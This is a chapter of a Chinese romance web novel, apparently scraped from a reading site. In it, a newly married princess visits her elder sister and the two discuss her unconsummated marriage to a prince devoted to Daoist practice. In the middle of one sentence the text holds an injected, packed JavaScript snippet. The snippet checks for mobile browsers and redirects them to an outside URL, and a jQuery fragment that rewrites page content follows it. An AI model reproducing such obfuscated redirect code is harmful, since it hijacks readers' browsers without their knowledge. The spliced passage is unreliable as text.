姜奕宛最怕妹妹的性子惹他不喜,听他这般说倒是放心了些,今日见她二人牵手而来,本还觉得惊喜,想来妹夫对妹妹是有些喜爱的,但仔细观察了一番,却发现李长昀待妹妹还是有些客气,心中便有了数。 想来二人,还未做成真夫妻…… 姜奕宛想审审妹妹,但新妹夫第一次上门,总不好将人单独撂在这里不管。 李长昀目光掠过姐妹二人,沉吟了半晌,便道:“本王瞧着这府中景致甚好,想四处欣赏一番。” 姜奕宛立刻将手从妹妹手中抽出来,道:“那让安娘陪着王爷四处转转吧。” 李长昀却摇了摇头,起身后道:“日后王妃与本王相处的时间还长着呢,不急在这一时,还是陪长姐更重要。” 这话说得熨帖极了,姜奕宛越发满意,觉得李长昀修养甚好、脾气也好,做夫婿再合适不过了,只可惜看破红尘、一心修道…… 真是太可惜了…… 姜奕宛忙吩咐管家姜平陪着,李长昀便起身离去了。 待李长昀身影消失在前厅,姜奕宛便屏退了众人,仔仔细细地打量着妹妹,道:“安娘,这几日王爷待你如何?” 姜奕安道:“挺好的呀。” 虽然李长昀性子沉闷,但总体而言,他是个人品极好的人,为人稳重,还很大方,姜奕安挺满意的,做不成夫妻,做好友也是可以的,只是二人之间年岁差得多些,相处起来可能很难做到与同龄人那般自如。 就算相敬如宾倒也没什么坏处。 姜奕宛轻了轻嗓子,脸上不由自主泛起了红晕,压低了声音,道:“那你们圆房了吗?” 这件事姜奕安倒不打算瞒着姐姐,只摇了摇头,郑重道:“姐姐,我与他都不想圆房。” 姜奕宛顿时皱起了眉头,道:“这……这如何使得?” 姜奕安却打断道:“姐姐,你觉得圆不圆房真的重要吗?” 姜奕宛拍了拍姜奕安的手,道:“夫妻感情是细水长流的,圆房便是夫妻情分的基础,是夫妻相爱要迈出的第一步。” 姜奕安喉咙微哽,垂下头道:“姐姐觉得,父亲母亲相爱吗?” 姜奕宛愣住了。 “父亲母亲生前是盛京城之中公认的恩爱夫妻,成婚多年只得我们两个女儿,府中也干净得很,可是又如何呢?” 姜奕安抬眸看向姜奕宛,眼眶有些泛红,道:“在父亲心中,母亲是可以被放弃的。” 父亲为了他的忠君大义放弃了母亲。 姜奕宛心中堵得慌,声音有些发抖,道:“可是,你终究要有个孩子傍身……” 姜奕安坚定地摇了摇头,道:“姐姐,孩子是夫妻恩爱的结晶,而不是傍身的工具,你我如今都食朝廷俸禄,就算没有孩子,怎就不能安享晚年?” 姜奕宛知道,自己这个妹妹虽然活泼开朗,看起来什么都不在意,但性子执拗得很,她也是劝不住的,不由得叹息了一声。 “姐姐,我今日可是回门,莫要唉声叹气的,开心点嘛!”姜奕安挽住了她的胳膊摇来摇去,道,“你再这样,以后我可不敢回来了……” “你敢不回来看我!”姜奕宛点了点她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708523|188352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的额头,道,“我就闯进宸王府,好好收拾你一顿。” “这可是姐姐说的,我不回来看你,你就来王府找我!”姜奕安握住了她的手,笑嘻嘻道,“姐姐可不能食言……” 姐妹二人又闹成了一团,李长昀则随着姜平在仁国公府中,刚走过了一片荷花池,李长昀闻着荷花清香,感觉心情甚好。 姜平继续介绍道:“东侧的大院子是我们故去的国公爷夫妇的住处,西侧北边是贞德夫人的院子,南边便是王妃的院子了。” 李长昀目光不由得转向姜奕安院子的方向,姜平见状,立刻指引着他前去,李长昀跟上后,在院门口停下了脚步,抬头便见“泥融院”三个大字。 泥融飞燕子,沙暖睡鸳鸯。 这名字倒是很适合她…… 李长昀牵了牵唇角,刚想迈步进去,却又迟疑了。 女儿家的闺房,贸然进去,实在唐突…… “王爷,请进便是。”姜平已经进了院子,笑着道,“夫人吩咐着每日都有人来打扫,干净着呢。” 李长昀立在院门口,目之所及便是院中紧靠着墙边的花架,错落有致地摆放着各式各样的花卉,颜色纷杂却颇有些独特的美感,一旁似是两棵桃树,中间扎着一个秋千。 李长昀似是能想象到,春日桃花盛开,姜奕安在秋千上一荡一荡的模样…… 姜平见李长昀在院门口踟蹰,又试探地唤了一声“王爷”,李长昀这才缓缓后退了几步,道:“本王便不进去了,再去别的地方瞧瞧吧。” 姜平虽然疑惑,但终是什么都没说,继续陪着,不一会便到了午膳时分。 午膳是分食,三人分别坐在三个小桌案前,席间多是姐妹二人说话,姜奕宛也会问李长昀几句,李长昀便答,不提到他,他便安静用膳。 午膳过后,李长昀觉得自己在这里呆着不太合适了,便向姜奕宛辞行,言明下晌再来接王妃。 府中没有男子陪同,姜奕宛也颇觉尴尬,只挽留了几句,见李长昀态度坚决,便不再坚持,只道:“安娘,去送送王爷。” 李长昀本想说不用,姜奕安却已经上前,又如今日进府时那般,伸手拉住了他的小指,道:“走吧。” 还是隔着衣袖。 二人的脚步声交错着,一个传来沙沙的擦地声,一个干脆沉闷几乎没有声音,直到仁国公府门口,才缓缓停下。 姜奕安松开手,抬头看向他:“今日王爷不必来接我啦。” 李长昀摩挲着被她拉过的手指还是发麻,刚要出声,便听得姜奕安又道:“今夜我想在这里住下陪陪姐姐。” 李长昀咽下那句“还是要接的”,转而轻轻应了一声。 姜奕安记得他曾说过,每月初一十五会回来一次,便道:“王爷下次什么时候回来,五月初一吗?” 李长昀有些迟疑,他觉得回王府住麻烦得很,但又觉得不好对她食言…… 姜奕安十分善解人意,不等李长昀回答,便道;“还是王爷修道要紧,若是要回来,记得提前差人同我说一声呀。” “我在府中等着王爷……”